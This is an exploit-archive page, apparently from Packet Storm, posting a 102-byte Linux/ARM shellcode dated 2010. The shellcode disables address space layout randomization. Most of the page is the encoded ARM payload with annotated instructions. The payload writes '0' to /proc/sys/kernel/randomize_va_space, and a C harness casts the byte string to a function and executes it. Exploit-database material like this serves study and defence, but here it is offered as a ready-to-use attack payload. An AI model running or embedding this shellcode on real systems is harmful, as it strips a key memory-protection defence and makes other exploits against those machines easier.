exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Disable ASLR Security Shellcode

Disable ASLR Security Shellcode
Posted Jul 1, 2010
Authored by Jonathan Salwan

102 bytes small disable ASLR security Linux / ARM shellcode.

tags | shellcode
systems | linux
SHA-256 | 520d236fa1dfb1562d34c69e8d596039453ef6a1a483848217601172fa478804

Disable ASLR Security Shellcode

Change Mirror Download
/*
Title: Linux/ARM - Disable ASLR Security - 102 bytes
Date: 2010-06-20
Tested: Linux ARM9 2.6.28-6-versatile

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Database of shellcodes http://www.shell-storm.org/shellcode/


Description:
============
Address space layout randomization (ASLR) is a computer security technique
which involves randomly arranging the positions of key data areas, usually
including the base of the executable and position of libraries, heap, and
stack, in a process's address space.

This shellcode disables the ASLR on linux/ARM

*/

#include <stdio.h>

char *SC = "\x01\x30\x8f\xe2" // add r3, pc, #1
"\x13\xff\x2f\xe1" // bx r3
"\x24\x1b" // subs r4, r4, r4
"\x20\x1c" // adds r0, r4, #0
"\x17\x27" // movs r7, #23
"\x01\xdf" // svc 1
"\x78\x46" // mov r0, pc
"\x2e\x30" // adds r0, #46
"\xc8\x21" // movs r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\xc8\x31" // adds r1, #200
"\x59\x31" // adds r1, #89
"\xc8\x22" // movs r2, #200
"\xc8\x32" // adds r2, #200
"\x14\x32" // adds r2, #20
"\x05\x27" // movs r7, #5
"\x01\xdf" // svc 1
"\x03\x20" // movs r0, #3
"\x79\x46" // mov r1, pc
"\x0e\x31" // adds r1, #14
"\x02\x22" // movs r2, #2
"\x04\x27" // movs r7, #4
"\x01\xdf" // svc 1
"\x92\x1a" // subs r2, r2, r2
"\x10\x1c" // adds r0, r2, #0
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1

"\x30\x0a" // ^
"\x2d\x2d" // |
"\x2f\x2f" // |
"\x70\x72" // |
"\x6f\x63" // |
"\x2f\x73" // |
"\x79\x73" // |
"\x2f\x6b" // |
"\x65\x72" // |
"\x6e\x65" // | [ strings ]
"\x6c\x2f" // |
"\x72\x61" // |
"\x6e\x64" // |
"\x6f\x6d" // |
"\x69\x7a" // |
"\x65\x5f" // |
"\x76\x61" // |
"\x5f\x73" // |
"\x70\x61" // |
"\x63\x65"; // v


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    21 Files
  • 27
    Aug 27th
    28 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close